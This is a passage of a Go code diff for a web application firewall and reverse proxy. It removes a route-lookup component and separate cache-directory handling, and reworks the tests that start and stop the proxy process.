if len(waiting) != 1 || params.Alerts.Suppressed() != 1 {
|
||||||
t.Errorf("%d alerts wait and %d are held back, want 2 and 2",
|
t.Errorf("%d alerts wait and %d are held back, want 1 and 1",
|
||||||
len(waiting), params.Alerts.Suppressed())
|
len(waiting), params.Alerts.Suppressed())
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
@@ -1550,15 +1461,6 @@ func TestEditOfEachFileTakenIn(t *testing.T) {
|
|||||||
wantEqual(t, lookupsJSON, params.GeoJS.Snapshot(),
|
wantEqual(t, lookupsJSON, params.GeoJS.Snapshot(),
|
||||||
[]lookup.Answer{{Client: client, Country: "FR", Answered: midnight()}})
|
[]lookup.Answer{{Client: client, Country: "FR", Answered: midnight()}})
|
||||||
|
|
||||||
edit(t, dir, routeWatchJSON, `{"version": 1, "answers": [`+
|
|
||||||
`{"client": "198.51.100.7/32", "netblock": "198.51.100.0/24", "asn": 64497, `+
|
|
||||||
`"answered": "2026-10-06T00:00:00Z"}]}`)
|
|
||||||
wantTakenIn(t, lines, dir, routeWatchJSON)
|
|
||||||
wantEqual(t, routeWatchJSON, params.RouteWatch.Snapshot(), []routewatch.Answer{{
|
|
||||||
Client: client, Netblock: netip.MustParsePrefix("198.51.100.0/24"), ASN: 64497,
|
|
||||||
Answered: midnight(),
|
|
||||||
}})
|
|
||||||
|
|
||||||
// A netblock with bits past its length is read as the netblock it is
|
// A netblock with bits past its length is read as the netblock it is
|
||||||
// in.
|
// in.
|
||||||
edit(t, dir, alertsJSON, `{"version": 1, "cooldowns": [{"event": "ban", `+
|
edit(t, dir, alertsJSON, `{"version": 1, "cooldowns": [{"event": "ban", `+
|
||||||
@@ -1625,13 +1527,12 @@ func TestEditOfEachReputationFileTakenIn(t *testing.T) {
|
|||||||
wantEqual(t, abuseIPDBScoresJSON, params.AbuseIPDB.Snapshot(),
|
wantEqual(t, abuseIPDBScoresJSON, params.AbuseIPDB.Snapshot(),
|
||||||
[]reputation.Score{{Client: client, Score: 80, Fetched: midnight()}})
|
[]reputation.Score{{Client: client, Score: 80, Fetched: midnight()}})
|
||||||
|
|
||||||
edit(t, dir, abuseIPDBChecksSpentJSON,
|
edit(t, dir, abuseIPDBChecksJSON, `{"version": 1, "day": "2026-10-06", "spent": 9}`)
|
||||||
`{"version": 1, "day": "2026-10-06", "spent": 9}`)
|
wantTakenIn(t, lines, dir, abuseIPDBChecksJSON)
|
||||||
wantTakenIn(t, lines, dir, abuseIPDBChecksSpentJSON)
|
|
||||||
|
|
||||||
checks := reputation.ChecksSpent{Day: civil.DateOf(midnight()), Spent: 9}
|
checks := reputation.ChecksSpent{Day: civil.DateOf(midnight()), Spent: 9}
|
||||||
if got := params.AbuseIPDB.ChecksSpent(); got != checks {
|
if got := params.AbuseIPDB.ChecksSpent(); got != checks {
|
||||||
t.Errorf("%s taken in as %+v, want %+v", abuseIPDBChecksSpentJSON, got, checks)
|
t.Errorf("%s taken in as %+v, want %+v", abuseIPDBChecksJSON, got, checks)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1657,10 +1558,10 @@ func TestTimesEditedWithAnOffsetWrittenBackInUTC(t *testing.T) {
|
|||||||
ahead := time.FixedZone("UTC+2", 2*60*60)
|
ahead := time.FixedZone("UTC+2", 2*60*60)
|
||||||
written := map[string]string{}
|
written := map[string]string{}
|
||||||
|
|
||||||
// abuseipdb-checks-spent.json holds a day, but no time.
|
// abuseipdb-checks.json holds a day, but no time.
|
||||||
for _, name := range []string{
|
for _, name := range []string{
|
||||||
bansJSON, clientsJSON, alertsJSON, lookupsJSON, listsJSON, dnsblJSON,
|
bansJSON, clientsJSON, alertsJSON, lookupsJSON, listsJSON, dnsblJSON,
|
||||||
abuseIPDBScoresJSON, routeWatchJSON,
|
abuseIPDBScoresJSON,
|
||||||
} {
|
} {
|
||||||
written[name] = readFile(t, filepath.Join(dir, name))
|
written[name] = readFile(t, filepath.Join(dir, name))
|
||||||
edited := stamp.ReplaceAllStringFunc(written[name], func(quoted string) string {
|
edited := stamp.ReplaceAllStringFunc(written[name], func(quoted string) string {
|
||||||
@@ -1922,8 +1823,8 @@ func TestBrokenEditSetAsideAtTheNextWrite(t *testing.T) {
|
|||||||
t.Errorf("alerts waiting %+v, want a file_error alert for %s", waiting, path+".bad")
|
t.Errorf("alerts waiting %+v, want a file_error alert for %s", waiting, path+".bad")
|
||||||
}
|
}
|
||||||
|
|
||||||
wantFiles(t, dir, abuseIPDBChecksSpentJSON, abuseIPDBScoresJSON, alertsJSON, bansJSON,
|
wantFiles(t, dir, abuseIPDBChecksJSON, abuseIPDBScoresJSON, alertsJSON, bansJSON,
|
||||||
bansJSON+".bad", clientsJSON, dnsblJSON, listsJSON, lookupsJSON, routeWatchJSON)
|
bansJSON+".bad", clientsJSON, dnsblJSON, listsJSON, lookupsJSON)
|
||||||
|
|
||||||
if got := readFile(t, path+".bad"); got != broken {
|
if got := readFile(t, path+".bad"); got != broken {
|
||||||
t.Errorf("bans.json.bad holds\n%s\nwant the edit", got)
|
t.Errorf("bans.json.bad holds\n%s\nwant the edit", got)
|
||||||
@@ -2046,80 +1947,16 @@ func TestDirectoryThatCannotBeWatchedIsLogged(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestCacheFileEditedInACacheDirectoryApartTakenIn(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
stateDir, cacheDir := t.TempDir(), t.TempDir()
|
|
||||||
params := newParams(stateDir)
|
|
||||||
params.CacheDir = cacheDir
|
|
||||||
lines := logInto(¶ms)
|
|
||||||
watch(t, load(t, params), lines)
|
|
||||||
|
|
||||||
edit(t, cacheDir, lookupsJSON, `{"version": 1, "lookups": []}`)
|
|
||||||
wantTakenIn(t, lines, cacheDir, lookupsJSON)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestDirectoryThatCannotBeWatchedLeavesTheOtherWatched(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
for _, tc := range []struct {
|
|
||||||
// gone is the directory removed before Watch runs, and failed what
|
|
||||||
// the log says of it. watching is what the log says once Watch
|
|
||||||
// watches the other directory, and edited is a file in it.
|
|
||||||
gone, failed, watching, edited string
|
|
||||||
}{
|
|
||||||
{
|
|
||||||
"state", "cannot watch the state files for edits",
|
|
||||||
"watching the cache files for edits", lookupsJSON,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"cache", "cannot watch the cache files for edits",
|
|
||||||
"watching the state files for edits", bansJSON,
|
|
||||||
},
|
|
||||||
} {
|
|
||||||
t.Run(tc.gone, func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
stateDir, cacheDir := t.TempDir(), t.TempDir()
|
|
||||||
params := newParams(stateDir)
|
|
||||||
params.CacheDir = cacheDir
|
|
||||||
lines := logInto(¶ms)
|
|
||||||
files := load(t, params)
|
|
||||||
|
|
||||||
gone, other := stateDir, cacheDir
|
|
||||||
if tc.gone == "cache" {
|
|
||||||
gone, other = cacheDir, stateDir
|
|
||||||
}
|
|
||||||
|
|
||||||
err := os.Remove(gone)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("remove: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
run(t, files.Watch)
|
|
||||||
|
|
||||||
line := lines.waitFor(t, tc.failed)
|
|
||||||
if line["level"] != "ERROR" || line["directory"] != gone {
|
|
||||||
t.Errorf("logged %v, want an error naming %s", line, gone)
|
|
||||||
}
|
|
||||||
|
|
||||||
lines.waitFor(t, tc.watching)
|
|
||||||
edit(t, other, tc.edited, `{"version": 1}`)
|
|
||||||
wantTakenIn(t, lines, other, tc.edited)
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// midnight is the time of the tests' clock.
|
// midnight is the time of the tests' clock.
|
||||||
func midnight() time.Time {
|
func midnight() time.Time {
|
||||||
return time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)
|
return time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)
|
||||||
}
|
}
|
||||||
|
|
||||||
// newParams returns Params for the state and cache files, both in dir,
|
// newParams returns Params for the state and cache files, both in dir,
|
||||||
// with parts that hold nothing yet. GeoJS and routewatch are never asked,
|
// with parts that hold nothing yet. GeoJS is never asked, the lists, two
|
||||||
// the lists, two blocklists, are never fetched, and the alerts, at most two
|
// blocklists, are never fetched, and the alerts, at most two an hour, are
|
||||||
// an hour, are never sent. The anomaly counters count the scopes fill
|
// never sent. The anomaly counters count the scopes fill counts, with
|
||||||
// counts, with thresholds fill does not reach.
|
// thresholds fill does not reach.
|
||||||
func newParams(dir string) state.Params {
|
func newParams(dir string) state.Params {
|
||||||
discard := slog.New(slog.DiscardHandler)
|
discard := slog.New(slog.DiscardHandler)
|
||||||
m := metrics.New(1, "app")
|
m := metrics.New(1, "app")
|
||||||
@@ -2160,9 +1997,6 @@ func newParams(dir string) state.Params {
|
|||||||
MinScore: 75, DailyBudget: 900, CacheTTL: 24 * time.Hour, Timeout: time.Second,
|
MinScore: 75, DailyBudget: 900, CacheTTL: 24 * time.Hour, Timeout: time.Second,
|
||||||
Now: midnight, ProcessLog: discard, Alerts: queue,
|
Now: midnight, ProcessLog: discard, Alerts: queue,
|
||||||
}),
|
}),
|
||||||
RouteWatch: routewatch.New(routewatch.Params{
|
|
||||||
URL: "http://routewatch.example/", Now: midnight, ProcessLog: discard,
|
|
||||||
}),
|
|
||||||
Alerts: queue,
|
Alerts: queue,
|
||||||
Anomalies: anomaly.New(anomaly.Params{
|
Anomalies: anomaly.New(anomaly.Params{
|
||||||
Net: anomaly.Thresholds{RequestsPerMinute: 1000},
|
Net: anomaly.Thresholds{RequestsPerMinute: 1000},
|
||||||
@@ -2189,11 +2023,10 @@ func office() netip.Prefix {
|
|||||||
// for a clear sign of attack and one for CrowdSec's decision, clients
|
// for a clear sign of attack and one for CrowdSec's decision, clients
|
||||||
// with counts and histories,
|
// with counts and histories,
|
||||||
// GeoJS answers, the blocklists' last tries and the copy of one, two
|
// GeoJS answers, the blocklists' last tries and the copy of one, two
|
||||||
// verdicts of a DNSBL zone, the AbuseIPDB checks spent today with two
|
// verdicts of a DNSBL zone, and the AbuseIPDB checks spent today with two
|
||||||
// scores, and two answers of routewatch, as filledListsJSON,
|
// scores, as filledListsJSON, filledDNSBLJSON, filledAbuseIPDBScoresJSON
|
||||||
// filledDNSBLJSON, filledAbuseIPDBScoresJSON, filledAbuseIPDBChecksSpentJSON
|
// and filledAbuseIPDBChecksJSON hold them, and alerts and anomaly
|
||||||
// and filledRouteWatchJSON hold them, and alerts and anomaly counters, as
|
// counters, as filledAlertsJSON holds them, into the parts of params.
|
||||||
// filledAlertsJSON holds them, into the parts of params.
|
|
||||||
func fill(params state.Params) {
|
func fill(params state.Params) {
|
||||||
now := midnight()
|
now := midnight()
|
||||||
client := netip.MustParsePrefix("203.0.113.9/32")
|
client := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
@@ -2256,7 +2089,6 @@ func fill(params state.Params) {
|
|||||||
params.AbuseIPDB.LoadChecksSpent(reputation.ChecksSpent{
|
params.AbuseIPDB.LoadChecksSpent(reputation.ChecksSpent{
|
||||||
Day: civil.DateOf(now), Spent: 3,
|
Day: civil.DateOf(now), Spent: 3,
|
||||||
})
|
})
|
||||||
fillRouteWatch(params.RouteWatch)
|
|
||||||
|
|
||||||
// An alert waiting, a repeat of it the cooldown holds back, another
|
// An alert waiting, a repeat of it the cooldown holds back, another
|
||||||
// alert waiting, and one past the two an hour, for the hour's summary.
|
// alert waiting, and one past the two an hour, for the hour's summary.
|
||||||
@@ -2282,22 +2114,6 @@ func fill(params state.Params) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
// fillRouteWatch puts the two answers filledRouteWatchJSON holds into
|
|
||||||
// routeWatch: a route, and an address without a live route.
|
|
||||||
func fillRouteWatch(routeWatch *routewatch.Client) {
|
|
||||||
routeWatch.Load([]routewatch.Answer{
|
|
||||||
{
|
|
||||||
Client: netip.MustParsePrefix("203.0.113.9/32"),
|
|
||||||
Netblock: netip.MustParsePrefix("203.0.113.0/24"), ASN: 64496,
|
|
||||||
Answered: midnight().Add(-time.Minute),
|
|
||||||
},
|
|
||||||
{
|
|
||||||
Client: netip.MustParsePrefix("2001:db8::/64"),
|
|
||||||
Answered: midnight().Add(-2 * time.Minute),
|
|
||||||
},
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
// permanentBan is the ban permanentBansJSON holds.
|
// permanentBan is the ban permanentBansJSON holds.
|
||||||
func permanentBan() bans.Ban {
|
func permanentBan() bans.Ban {
|
||||||
score := int64(100)
|
score := int64(100)
|
||||||
@@ -2468,21 +2284,12 @@ func (l processLog) waitFor(t *testing.T, msg string) map[string]any {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// wantTakenIn waits for the next edit taken in, of a state file or a cache
|
// wantTakenIn waits for the next edit taken in, and checks that it is of
|
||||||
// file as name is one, and checks that it is of the file name in dir.
|
// the state file name in dir.
|
||||||
func wantTakenIn(t *testing.T, lines processLog, dir, name string) {
|
func wantTakenIn(t *testing.T, lines processLog, dir, name string) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
var msg string
|
line := lines.waitFor(t, tookIn)
|
||||||
|
|
||||||
switch name {
|
|
||||||
case lookupsJSON, listsJSON, dnsblJSON, abuseIPDBScoresJSON, routeWatchJSON:
|
|
||||||
msg = cacheTookIn
|
|
||||||
default:
|
|
||||||
msg = tookIn
|
|
||||||
}
|
|
||||||
|
|
||||||
line := lines.waitFor(t, msg)
|
|
||||||
if line["file"] != filepath.Join(dir, name) {
|
if line["file"] != filepath.Join(dir, name) {
|
||||||
t.Fatalf("took in %v, want an edit of %s", line, name)
|
t.Fatalf("took in %v, want an edit of %s", line, name)
|
||||||
}
|
}
|
||||||
@@ -2543,8 +2350,8 @@ func wantRefused(t *testing.T, file, content, want string) {
|
|||||||
|
|
||||||
// wantSetAside writes content to the cache file named file in a new
|
// wantSetAside writes content to the cache file named file in a new
|
||||||
// directory, and checks that Load starts all the same, with the cache
|
// directory, and checks that Load starts all the same, with the cache
|
||||||
// empty, and sets the file aside, raising a file_error alert and logging
|
// empty, and sets the file aside, logging an error that is the file's
|
||||||
// an error that is the file's path and then starts with want.
|
// path and then starts with want.
|
||||||
func wantSetAside(t *testing.T, file, content, want string) {
|
func wantSetAside(t *testing.T, file, content, want string) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
@@ -2560,23 +2367,15 @@ func wantSetAside(t *testing.T, file, content, want string) {
|
|||||||
lines := logInto(¶ms)
|
lines := logInto(¶ms)
|
||||||
load(t, params)
|
load(t, params)
|
||||||
|
|
||||||
line := lines.waitFor(t, cacheSetAside)
|
line := lines.waitFor(t, setAside)
|
||||||
if message, _ := line["error"].(string); line["file"] != path+".bad" ||
|
if message, _ := line["error"].(string); line["file"] != path+".bad" ||
|
||||||
!strings.HasPrefix(message, path+want) {
|
!strings.HasPrefix(message, path+want) {
|
||||||
t.Errorf("set aside with %v, want %s.bad and an error starting %s%s", line, path,
|
t.Errorf("set aside with %v, want %s.bad and an error starting %s%s", line, path,
|
||||||
path, want)
|
path, want)
|
||||||
}
|
}
|
||||||
|
|
||||||
waiting := params.Alerts.Snapshot().Waiting[alerts.DestinationWebhook]
|
|
||||||
if len(waiting) != 1 || waiting[0].Event != alerts.EventFileError ||
|
|
||||||
waiting[0].Reason != cacheSetAside {
|
|
||||||
t.Errorf("alerts waiting %+v, want a file_error alert saying %q", waiting,
|
|
||||||
cacheSetAside)
|
|
||||||
}
|
|
||||||
|
|
||||||
if len(params.GeoJS.Snapshot()) != 0 || len(params.Lists.Snapshot()) != 0 ||
|
if len(params.GeoJS.Snapshot()) != 0 || len(params.Lists.Snapshot()) != 0 ||
|
||||||
len(params.DNSBL.Snapshot()) != 0 || len(params.AbuseIPDB.Snapshot()) != 0 ||
|
len(params.DNSBL.Snapshot()) != 0 || len(params.AbuseIPDB.Snapshot()) != 0 {
|
||||||
len(params.RouteWatch.Snapshot()) != 0 {
|
|
||||||
t.Error("a cache holds what a file set aside held")
|
t.Error("a cache holds what a file set aside held")
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -41,7 +41,7 @@ func TestHealthCheckInWAFsContainer(t *testing.T) {
|
|||||||
exited <- run(ctx, settings, out)
|
exited <- run(ctx, settings, out)
|
||||||
}()
|
}()
|
||||||
|
|
||||||
addr, _ := out.lineBeforeExit(t, "starting", exited)["address"].(string)
|
addr, _ := out.line(t, "msg", "starting")["address"].(string)
|
||||||
_, port, _ := net.SplitHostPort(addr)
|
_, port, _ := net.SplitHostPort(addr)
|
||||||
|
|
||||||
// The container's settings: an address to listen on with an empty
|
// The container's settings: an address to listen on with an empty
|
||||||
|
|||||||
+33
-29
@@ -71,8 +71,6 @@ func startRProxy(t *testing.T, backend, appURL string) (string, *output) {
|
|||||||
}, out)
|
}, out)
|
||||||
}()
|
}()
|
||||||
|
|
||||||
addr, _ := out.lineBeforeExit(t, "starting", exited)["address"].(string)
|
|
||||||
|
|
||||||
t.Cleanup(func() {
|
t.Cleanup(func() {
|
||||||
stop()
|
stop()
|
||||||
|
|
||||||
@@ -88,6 +86,8 @@ func startRProxy(t *testing.T, backend, appURL string) (string, *output) {
|
|||||||
out.line(t, "msg", "stopped")
|
out.line(t, "msg", "stopped")
|
||||||
})
|
})
|
||||||
|
|
||||||
|
addr, _ := out.line(t, "msg", "starting")["address"].(string)
|
||||||
|
|
||||||
return "http://" + addr, out
|
return "http://" + addr, out
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -105,7 +105,7 @@ func startWAF(t *testing.T, env map[string]string) (string, *output, func()) {
|
|||||||
exited <- run(ctx, env, out)
|
exited <- run(ctx, env, out)
|
||||||
}()
|
}()
|
||||||
|
|
||||||
addr, _ := out.lineBeforeExit(t, "starting", exited)["address"].(string)
|
addr, _ := out.line(t, "msg", "starting")["address"].(string)
|
||||||
|
|
||||||
return addr, out, func() {
|
return addr, out, func() {
|
||||||
stop()
|
stop()
|
||||||
@@ -507,10 +507,9 @@ func TestAStatusWAFDoesNotTakeIsReportedAs599(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// startRProxyProcess runs `sww rproxy` in a process of its own, with the
|
// startRProxyProcess runs `sww rproxy` in a process of its own, with the
|
||||||
// settings in env, each as NAME=value. It returns where rproxy listens and a
|
// settings in env, each as NAME=value. It returns where rproxy listens, the
|
||||||
// function that sends rproxy SIGTERM and fails the test unless it exits with
|
// process, and what rproxy writes.
|
||||||
// status 0 within waitLimit.
|
func startRProxyProcess(t *testing.T, env ...string) (string, *exec.Cmd, *output) {
|
||||||
func startRProxyProcess(t *testing.T, env ...string) (string, func()) {
|
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
binary, err := os.Executable()
|
binary, err := os.Executable()
|
||||||
@@ -518,8 +517,11 @@ func startRProxyProcess(t *testing.T, env ...string) (string, func()) {
|
|||||||
t.Fatalf("find the test binary: %v", err)
|
t.Fatalf("find the test binary: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
ctx, cancel := context.WithTimeout(t.Context(), 3*waitLimit)
|
||||||
|
t.Cleanup(cancel)
|
||||||
|
|
||||||
out := &output{}
|
out := &output{}
|
||||||
cmd := exec.CommandContext(t.Context(), binary) //nolint:gosec // this test binary
|
cmd := exec.CommandContext(ctx, binary) //nolint:gosec // this test binary
|
||||||
cmd.Stdout = out
|
cmd.Stdout = out
|
||||||
|
|
||||||
cmd.Env = append(os.Environ(),
|
cmd.Env = append(os.Environ(),
|
||||||
@@ -527,25 +529,19 @@ func startRProxyProcess(t *testing.T, env ...string) (string, func()) {
|
|||||||
"SWRP_LISTEN_ADDR="+localhost+":0")
|
"SWRP_LISTEN_ADDR="+localhost+":0")
|
||||||
cmd.Env = append(cmd.Env, env...)
|
cmd.Env = append(cmd.Env, env...)
|
||||||
|
|
||||||
exited := startProcess(t, cmd)
|
err = cmd.Start()
|
||||||
|
|
||||||
addr, _ := out.lineBeforeExit(t, "starting", exited)["address"].(string)
|
|
||||||
|
|
||||||
return addr, func() {
|
|
||||||
err := cmd.Process.Signal(syscall.SIGTERM)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("signal: %v", err)
|
t.Fatalf("start: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
select {
|
t.Cleanup(func() {
|
||||||
case status := <-exited:
|
_ = cmd.Process.Kill()
|
||||||
if status != 0 {
|
_ = cmd.Wait()
|
||||||
t.Errorf("exit status %d, want 0; output:\n%s", status, out.text())
|
})
|
||||||
}
|
|
||||||
case <-time.After(waitLimit):
|
addr, _ := out.line(t, "msg", "starting")["address"].(string)
|
||||||
t.Error("still running after being told to stop")
|
|
||||||
}
|
return addr, cmd, out
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestRProxyAsksAWAFThatSpeaksHTTP2OverHTTP1(t *testing.T) {
|
func TestRProxyAsksAWAFThatSpeaksHTTP2OverHTTP1(t *testing.T) {
|
||||||
@@ -576,7 +572,7 @@ func TestRProxyAsksAWAFThatSpeaksHTTP2OverHTTP1(t *testing.T) {
|
|||||||
t.Fatalf("write the certificate: %v", err)
|
t.Fatalf("write the certificate: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
addr, _ := startRProxyProcess(t,
|
addr, _, _ := startRProxyProcess(t,
|
||||||
wafBackend+"="+backend.URL,
|
wafBackend+"="+backend.URL,
|
||||||
"SWRP_UPSTREAM_URL="+startApp(t),
|
"SWRP_UPSTREAM_URL="+startApp(t),
|
||||||
"SSL_CERT_FILE="+certificates)
|
"SSL_CERT_FILE="+certificates)
|
||||||
@@ -655,7 +651,7 @@ func TestRProxyStoppingWaitsForAReportBeingSent(t *testing.T) {
|
|||||||
exited <- runRProxy(ctx, env, out)
|
exited <- runRProxy(ctx, env, out)
|
||||||
}()
|
}()
|
||||||
|
|
||||||
addr, _ := out.lineBeforeExit(t, "starting", exited)["address"].(string)
|
addr, _ := out.line(t, "msg", "starting")["address"].(string)
|
||||||
|
|
||||||
wantStatus(t, "http://"+addr+"/", placed, http.StatusOK)
|
wantStatus(t, "http://"+addr+"/", placed, http.StatusOK)
|
||||||
|
|
||||||
@@ -754,7 +750,7 @@ func TestRProxyStoppingCutsOffARequestAfterFiveSeconds(t *testing.T) {
|
|||||||
exited <- runRProxy(ctx, env, out)
|
exited <- runRProxy(ctx, env, out)
|
||||||
}()
|
}()
|
||||||
|
|
||||||
addr, _ := out.lineBeforeExit(t, "starting", exited)["address"].(string)
|
addr, _ := out.line(t, "msg", "starting")["address"].(string)
|
||||||
conn := sendAndKeepOpen(t, addr, "GET / HTTP/1.1\r\nHost: site.example\r\n\r\n")
|
conn := sendAndKeepOpen(t, addr, "GET / HTTP/1.1\r\nHost: site.example\r\n\r\n")
|
||||||
|
|
||||||
select {
|
select {
|
||||||
@@ -849,7 +845,7 @@ func TestMainRunsRProxy(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// Nothing listens there; the health check does not ask.
|
// Nothing listens there; the health check does not ask.
|
||||||
addr, stop := startRProxyProcess(t, wafBackend+"=http://127.0.0.1:9")
|
addr, cmd, out := startRProxyProcess(t, wafBackend+"=http://127.0.0.1:9")
|
||||||
|
|
||||||
req, err := http.NewRequestWithContext(t.Context(), http.MethodGet,
|
req, err := http.NewRequestWithContext(t.Context(), http.MethodGet,
|
||||||
"http://"+addr+waf.HealthPath, http.NoBody)
|
"http://"+addr+waf.HealthPath, http.NoBody)
|
||||||
@@ -872,5 +868,13 @@ func TestMainRunsRProxy(t *testing.T) {
|
|||||||
t.Errorf("health check answered %q (%v)", body, err)
|
t.Errorf("health check answered %q (%v)", body, err)
|
||||||
}
|
}
|
||||||
|
|
||||||
stop()
|
err = cmd.Process.Signal(syscall.SIGTERM)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("signal: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
err = cmd.Wait()
|
||||||
|
if err != nil {
|
||||||
|
t.Errorf("exit: %v; output:\n%s", err, out.text())
|
||||||
|
}
|
||||||
}
|
}
|
||||||
+14
-15
@@ -1,9 +1,9 @@
|
|||||||
// Package sww runs the sww process, as the command it is given.
|
// Package sww runs the sww process, as the command it is given.
|
||||||
// `sww waf` reads the settings, the rule files, the lookup database
|
// `sww waf` reads the settings, the rule files, the lookup database
|
||||||
// and the state and cache files, answers rproxy's questions until it is told to
|
// and the state files, answers rproxy's questions until it is told to stop, and
|
||||||
// stop, and then stops in an orderly way, writing the state and cache files.
|
// then stops in an orderly way, writing the state files. `sww rproxy`
|
||||||
// `sww rproxy` reads rproxy's settings alone, and runs the reverse proxy in
|
// reads rproxy's settings alone, and runs the reverse proxy in front of one app
|
||||||
// front of one app that asks waf about each request. `sww healthcheck` is the
|
// that asks waf about each request. `sww healthcheck` is the
|
||||||
// container's health check.
|
// container's health check.
|
||||||
package sww
|
package sww
|
||||||
|
|
||||||
@@ -101,8 +101,8 @@ func printUsage(w io.Writer) int {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// RunWAF is `sww waf`: it reads the settings, the rule files,
|
// RunWAF is `sww waf`: it reads the settings, the rule files,
|
||||||
// the lookup database and the state and cache files, then serves requests until
|
// the lookup database and the state files, then serves requests until ctx is
|
||||||
// ctx is done. It returns the process's exit status, 1 when waf cannot start.
|
// done. It returns the process's exit status, 1 when waf cannot start.
|
||||||
func RunWAF(ctx context.Context, params Params) int {
|
func RunWAF(ctx context.Context, params Params) int {
|
||||||
// Until the settings are read, the one message is an invalid setting's
|
// Until the settings are read, the one message is an invalid setting's
|
||||||
// error, which every SWW_LOG_LEVEL lets through.
|
// error, which every SWW_LOG_LEVEL lets through.
|
||||||
@@ -171,7 +171,7 @@ func RunWAF(ctx context.Context, params Params) int {
|
|||||||
|
|
||||||
files, err := loadStateFiles(cfg, server, alertQueue, now, processLog)
|
files, err := loadStateFiles(cfg, server, alertQueue, now, processLog)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
processLog.Error("cannot use the state and cache files", "error", err.Error())
|
processLog.Error("cannot use the state files", "error", err.Error())
|
||||||
|
|
||||||
return 1
|
return 1
|
||||||
}
|
}
|
||||||
@@ -236,8 +236,8 @@ func newServer(
|
|||||||
return server, nil
|
return server, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// loadStateFiles reads the state and cache files into the parts of server and
|
// loadStateFiles reads the state files into the parts of server and into
|
||||||
// into alertQueue, as state.Load does.
|
// alertQueue, as state.Load does.
|
||||||
func loadStateFiles(
|
func loadStateFiles(
|
||||||
cfg *config.Config, server *waf.Server, alertQueue *alerts.Queue,
|
cfg *config.Config, server *waf.Server, alertQueue *alerts.Queue,
|
||||||
now func() time.Time, processLog *slog.Logger,
|
now func() time.Time, processLog *slog.Logger,
|
||||||
@@ -253,7 +253,6 @@ func loadStateFiles(
|
|||||||
Lists: server.Lists,
|
Lists: server.Lists,
|
||||||
DNSBL: server.DNSBL,
|
DNSBL: server.DNSBL,
|
||||||
AbuseIPDB: server.AbuseIPDB,
|
AbuseIPDB: server.AbuseIPDB,
|
||||||
RouteWatch: server.RouteWatch,
|
|
||||||
Alerts: alertQueue,
|
Alerts: alertQueue,
|
||||||
Anomalies: server.Anomalies,
|
Anomalies: server.Anomalies,
|
||||||
Now: now,
|
Now: now,
|
||||||
@@ -319,13 +318,13 @@ func startSending(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// serve serves requests on listener, writes the state and cache files as they
|
// serve serves requests on listener, writes the state files as they are
|
||||||
// are due, takes in an admin's edits of them, reads the rule files again as
|
// due, takes in an admin's edits of them, reads the rule files again as
|
||||||
// they change, and the lookup database when it is replaced, fetches the
|
// they change, and the lookup database when it is replaced, fetches the
|
||||||
// lists the settings name by URL as they are due, and sends the alerts,
|
// lists the settings name by URL as they are due, and sends the alerts,
|
||||||
// until ctx is done. Then it gives the requests in progress
|
// until ctx is done. Then it gives the requests in progress
|
||||||
// shutdownTimeout to finish, and writes every state and cache file,
|
// shutdownTimeout to finish, and writes every state file, alerts.json with
|
||||||
// alerts.json with the alerts still waiting.
|
// the alerts still waiting.
|
||||||
func serve(
|
func serve(
|
||||||
ctx context.Context, server *waf.Server, listener net.Listener,
|
ctx context.Context, server *waf.Server, listener net.Listener,
|
||||||
files *state.Files, ruleFiles *rules.Files, alertQueue *alerts.Queue,
|
files *state.Files, ruleFiles *rules.Files, alertQueue *alerts.Queue,
|
||||||
@@ -395,7 +394,7 @@ func serve(
|
|||||||
|
|
||||||
err = files.WriteAll()
|
err = files.WriteAll()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
processLog.Error("writing the state and cache files failed", "error", err.Error())
|
processLog.Error("writing the state files failed", "error", err.Error())
|
||||||
|
|
||||||
return 1
|
return 1
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1235,7 +1235,7 @@ func TestUnwritableCacheDirStopsTheStart(t *testing.T) {
|
|||||||
t.Fatalf("exit status %d, want 1", status)
|
t.Fatalf("exit status %d, want 1", status)
|
||||||
}
|
}
|
||||||
|
|
||||||
line := out.line(t, "msg", "cannot use the state and cache files")
|
line := out.line(t, "msg", "cannot use the state files")
|
||||||
if message, _ := line["error"].(string); !strings.HasPrefix(message,
|
if message, _ := line["error"].(string); !strings.HasPrefix(message,
|
||||||
"SWW_CACHE_DIR cannot be written: ") {
|
